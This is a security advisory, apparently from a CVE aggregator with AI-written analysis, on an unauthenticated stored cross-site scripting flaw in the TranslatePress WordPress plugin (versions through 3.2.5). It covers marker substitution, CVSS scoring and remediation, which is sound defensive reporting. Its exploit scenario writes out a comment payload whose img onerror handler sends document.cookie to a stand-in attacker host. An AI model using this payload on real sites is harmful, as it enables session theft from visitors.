DescriptionCVE.org

The TranslatePress - Translate Multilingual sites with AI Translation plugin for WordPress is vulnerable to unauthenticated Stored Cross-Site Scripting in versions up to and including 3.2.5. The special gettext markers '#!trpst#' and '#!trpen#' are unconditionally rewritten to '<' and '>' by translate_page() in includes/class-translation-render.php (lines 538-539). Because those markers are plain text with no HTML-special characters, an unauthenticated attacker can embed them in a comment; the markers survive wp_kses, and when the post is viewed in a secondary language the substitution turns the attacker's '#!trpst#img ... #!trpen#' into a real <img> tag. remove_tags_from_output() only strips <script>/<style>, so an <img onerror=...> executes in the visitor's browser.

AnalysisAI

Stored Cross-Site Scripting in the TranslatePress WordPress plugin (versions up to and including 3.2.5) allows unauthenticated attackers to inject executable HTML into pages viewed in secondary languages by exploiting the plugin's internal translation marker system. Plain-text markers (#!trpst# / #!trpen#) pass through WordPress's wp_kses sanitizer undetected at comment submission, are stored in the database, and are unconditionally converted to angle brackets during page rendering - materializing attacker-controlled text as live HTML tags such as <img onerror=...>. …

Vulnerability AssessmentAI

Exploitation Three specific conditions must hold simultaneously for exploitation to succeed. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The reported CVSS 3.1 score of 7.2 (AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N) correctly captures the network accessibility, zero authentication requirement, and scope change to the victim's browser, but the UI:N designation warrants scrutiny. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker visits any publicly accessible WordPress post with commenting enabled, submits a comment containing the payload #!trpst#img src=x onerror=fetch('https://attacker.example/steal?c='+document.cookie)#!trpen# without authentication, and waits for the comment to be published. When any visitor subsequently loads that page in a configured secondary language, TranslatePress's translate_page() function converts the markers to angle brackets, rendering the comment text as a live <img> tag whose onerror handler fires immediately - silently exfiltrating session cookies or performing other client-side actions within the victim's browser. …
Remediation The primary fix is to update TranslatePress to a version beyond 3.2.5 once Cozmoslabs publishes a patched release; no fixed version is confirmed in the available data, so administrators should monitor the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/fec48853-afa5-4310-be2e-e86c01ece227 and the WordPress.org plugin page for an update. … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 24 hours, identify all WordPress installations running TranslatePress version 3.2.5 or earlier; for sites with public comments enabled on secondary languages, immediately restrict comment submission to authenticated users only or disable comments on translated pages. …
